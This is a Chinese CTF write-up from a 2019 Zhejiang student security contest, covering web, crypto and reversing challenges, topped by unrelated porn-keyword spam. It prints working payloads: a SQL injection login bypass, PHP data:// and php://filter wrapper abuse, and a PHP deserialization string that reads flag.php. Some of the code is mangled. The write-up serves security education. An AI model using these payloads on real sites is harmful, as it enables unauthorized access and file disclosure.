日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

2019浙江省大学生网络与信息安全竞赛决赛部分WriteUp

發布時間:2024/9/30 编程问答 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 2019浙江省大学生网络与信息安全竞赛决赛部分WriteUp 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

0x01 前言

這次比賽PWN爺爺沒有去,去了OPPO的線下賽,所以最后只拿到了前十靠后的名次。不過還是拿到了省一等獎,也算沒有留下什么遺憾。

0x02 萬能密碼

通過名字就可以知道這題考察的是最基本的SQL注入知識點。
通過對題目環境的測試可以發現,這是基于盲注的POST注入,閉合雙引號即可,登陸即可拿到flag

payload

admin"#

0x03 貳零肆捌

題目是一個2048的游戲,大概就是分數多于一定的值即可,這邊可以選擇玩到輸的時候抓包,修改分數。我這邊是直接修改js代碼,另score的初始值等于15001,然后玩到死亡,就獲得了flag

0x04 逆轉思維

emmmm題目環境我這邊沒有保留,大概題目邏輯是

第一步

file_get_contents($_GET(txt))===“welcome to the zjctf”,大概是這個,我們要讓這個條件成立,我一開始想到的是遠程文件包含,就是在我這邊部署一個包含這個內容的文件,讓題目環境訪問我們開放的端口,后來發現因為是線下局域網,沒辦法遠程文件包含

然后比賽后半段才在我以前拉取下來的wiki的docker里面找到一個data協議。
利用payload繞過

http://172.16.0.102:54321/JgJUfyW1wT/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

第二步

題目有第二個參數file,大概是include()這個file,題目提示我們要包含useless.php
同時有一個判斷是file參數不能傳入flag,也就是我們不能直接包含flag.php
利用php://filter協議讀取這個useless.php
構造payload讀取useless.php

http://172.16.0.102:54321/JgJUfyW1wT/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

得到useless.php

<?php??class Flag{//flag.php??public $file;??public function __tostring(){??if(isset($this->file)){??echo file_get_contents($this->file);?echo "<br>";return ("HAHAHAHAHA");}??}?? }??

?>

第三步

最后一個參數是password,php代碼里面有反序列化這個傳入的值,所以只要讓最后反序列化出來的file等于flag.php就好了。
構造payload

view-source:http://172.16.0.102:54321/JgJUfyW1wT/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

得到flag

0x05 佛洛依德

這邊有幸保留了題目

題目源碼

#!/usr/bin/env?python #?-*-?coding:?utf-8?-*-__author__?=?'seclab' __copyright__?=?'Copyright???2019/08/20,?seclab'import?hashlib,?random,?signaldef?truncated_hash(message,?k):return?hashlib.sha512(message).digest()[-k:]def?floyd(code,?k=3):m0?=?Nonem1?=?Noneturtle?=?truncated_hash(code,?k)hare???=?truncated_hash(turtle,?k)while?turtle?!=?hare:turtle?=?truncated_hash(turtle,?k)hare???=?truncated_hash(truncated_hash(hare,?k),?k)turtle?=?codepre_period_length?=?0while?turtle?!=?hare:m0?????=?turtleturtle?=?truncated_hash(turtle,?k)hare???=?truncated_hash(hare,?k)pre_period_length?+=?1if?pre_period_length?is?0:print(code,?"Failed?to?find?a?collision:?code?was?in?a?cycle!")return?floyd(get_random_code())period_length?=?1hare?=?truncated_hash(turtle,?k)while?turtle?!=?hare:m1??=???harehare?=?truncated_hash(hare,?k)period_length?+=?1return?(m0,?m1,?truncated_hash(m0,?k),?k)def?get_random_code(length=3):char_set?=?"ABCDEFGHIJKLMNOPQRSTUVWXYZ"pw?=?""for?i?in?range(length):next_index?=?random.randrange(len(char_set))pw?=?pw?+?char_set[next_index]return?pwdef?welcom():signal.alarm(5)print( r'''_____?_?????????????????_?????____????????????????_???? |??___|?|?___??_???_??__|?|???/?___|_?__?__?_??___|?|?__ |?|_??|?|/?_?\|?|?|?|/?_`?|??|?|???|?'__/?_`?|/?__|?|/?/ |??_|?|?|?(_)?|?|_|?|?(_|?|??|?|___|?|?|?(_|?|?(__|???<? |_|???|_|\___/?\__,?|\__,_|???\____|_|??\__,_|\___|_|\_\|___/???????????????????????????????????????????????????? ''')def?main():welcom()flag?=?open('./flag',?'r').read()code?=?get_random_code()m0,?m1,?code,?k?=?floyd(code)print("Your?m0?is:{:s}".format(m0.encode("hex")))m1?=?raw_input("Please?input?m1:").rstrip("\n")try:m1?=?m1.decode("hex")if?(m0?!=?m1)?and?(truncated_hash(m0,?k)?==?truncated_hash(m1,?k)):print(flag)exit(1)except?Exception?as?e:passprint("Fail,?bye!")exit(1)if?__name__?==?"__main__":main()

通過代碼邏輯我們可以知道,這邊就是給我們m0,然后要我們輸入正確的m1,然后才給我們flag。

解題思路

我首先關注到的是這個函數

def?get_random_code(length=3):char_set?=?"ABCDEFGHIJKLMNOPQRSTUVWXYZ"pw?=?""for?i?in?range(length):next_index?=?random.randrange(len(char_set))pw?=?pw?+?char_set[next_index]return?pw

從get_random_code函數可以看出,主要功能是獲得長度為3的字符串,字符是A~Z的。
所以通過這個長度為3,可以發現是很容易爆破出m0和m1對應的字典的。

構造字典腳本如下。

import hashlib, random def truncated_hash(message, k):return hashlib.sha512(message).digest()[-k:] def get_random_code(length=3):char_set = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"pw = ""for i in range(length):next_index = random.randrange(len(char_set))pw = pw + char_set[next_index]return pw def floyd(code, k=3):m0 = Nonem1 = Noneturtle = truncated_hash(code, k)hare? ?= truncated_hash(turtle, k)while turtle != hare:turtle = truncated_hash(turtle, k)hare? ?= truncated_hash(truncated_hash(hare, k), k)turtle = codepre_period_length = 0while turtle != hare:m0? ? ?= turtleturtle = truncated_hash(turtle, k)hare? ?= truncated_hash(hare, k)pre_period_length += 1if pre_period_length is 0:print(code, "Failed to find a collision: code was in a cycle!")return floyd(get_random_code())period_length = 1hare = truncated_hash(turtle, k)while turtle != hare:m1? =? ?harehare = truncated_hash(hare, k)period_length += 1return (m0, m1, truncated_hash(m0, k), k) #code = get_random_code() #print(code) #m0, m1, code, k = floyd(code) #print(m0, m1, code, k) m0=[] m1=[]table="ABCDEFGHIJKLMNOPQRSTUVWXYZ" code=[] for i in table:for j in table:for k in table:code.append(i+j+k)m00, m11, code1, k = floyd(i+j+k)m0.append(m00)m1.append(m11)f=open("shuju.txt",'a')?print(len(code)) print(len(m0)) print(len(m1)) f.write("dict = {") for i in range(len(m0)):f.write(m0[i].encode("hex")+":"+m1[i].encode("hex")+",\n") f.write("}") f.close()

最后處理一下生成的字典,然后獲取服務器上的m0,對應我們字典中的m1,發送給服務器即可得到flag

dict={} from pwn import * #context.log_level ="debug" sh=remote("172.16.0.103",10011) sh.recvuntil("is:") crypto1 = sh.recvline()[:-1] print("~~~~:",crypto1)sendm1=dict[crypto1] print("sendm1",sendm1) sh.recvuntil("m1:") sh.sendline(sendm1)

sh.interactive()

0x06?簡單逆向

首先第一步拿到APK,使用Jeb反編譯

通過觀察發現getFlag是加載進來的一個.so文件
找到這個.so文件,用ida反編譯
沒有什么難點,就直接明文給你flag了

0x07?清廉校園

首先拿到一張圖片,一開始嘗試了挺多圖片隱寫。。。后來才發現,原來圖片的最后直接有明文的flag信息。是一個凱撒加密的東西

首先全部移位39得到@JC:FT=ELCOME:OHD;SECLABV
然后通過對flag格式的判斷,是ZJCTF開頭的,發現無意義的字符距離正確的是相差58位,然后對無意義的字符移位58得到有意義的flag字符串,比較坑的是最后還要全部小寫,才是正確的flag
正確的flag為welcometohduseclab

0x08 反推蟒蛇

首先題目給了一個pyo文件,其實一開始看到還是比較絕望的,因為感覺自己應該沒有反編譯的工具。后來好不容易才在自己的學習記錄里面找到曾經有試過本地反編譯pyc
使用kali自帶的uncompyle6,也有可能是我以前裝的
指令如下

uncompyle6? encrypt.pyo > encrypt.py

得到的encrypt.py源碼為

# uncompyle6 version 3.3.5 # Python bytecode 2.7 (62211) # Decompiled from: Python 2.7.15+ (default, Nov 28 2018, 16:27:22)? # [GCC 8.2.0] # Embedded file name: encrypt.py # Compiled at: 2017-07-11 05:19:27 from random import randint from math import floor, sqrt _ = '' __ = '_' ____ = [ ord(___) for ___ in __ ] _____ = randint(65, max(____)) * 255 for ___ in range(len(__)):_ += str(int(floor(float(_____ + ____[___]) / 2 + sqrt(_____ * ____[___])) % 255)) + ' 'print _ # okay decompiling encrypt.pyo

我這邊是現對這些下劃線進行了處理
大概邏輯是這樣的

from?random?import?randint from?math?import?floor,?sqrt getflag?=?'' flag?=?'flag{****************}' b?=?[?ord(i)?for?i?in?flag?] a?=?randint(65,?max(b))?*?255 for?i?in?range(len(flag)):getflag?+=?str(int(floor(float(a?+?b[i])?/?2?+?sqrt(a?*?b[i]))?%?255))?+?'?' print?getflag

這邊題目還給了我們一個flag.enc的文件

57, 183, 124, 9, 149, 65, 245, 166, 175, 1, 226, 106, 216, 132, 224, 208, 139, 1, 188, 224, 9, 235, 106, 149, 141, 80

這個就是flag經過加密后的內容了。

通過分析代碼邏輯,我們可以發現,max(b)一定是}的ascii值,然加密后的值一定是最后一個80.通過這個其實我們可以確定一個值,randint(65,?max(b))的值可以確定,通過排除一個大于}的ascii的值,確定為102

也就是說我們確定了a的值為102*125
這樣其實我們就可以確定每一個字母對應的加密后的值了
構造對應關系腳本

from?random?import?randint from?math?import?floor,?sqrt table?=?'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/{}' b?=?[?ord(i)?for?i?in?table?] a?=?102*255 dic=[] for?i?in?range(len(table)):dic.append(int(floor(float(a?+?b[i])?/?2?+?sqrt(a?*?b[i]))?%?255)) for?i?in?range(len(dic)):print(table[i],":",dic[i]) print(dic)

最后得到flag加密前的值
zjctf{ThisRandomIsNotSafe}

總結

以上是生活随笔為你收集整理的2019浙江省大学生网络与信息安全竞赛决赛部分WriteUp的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。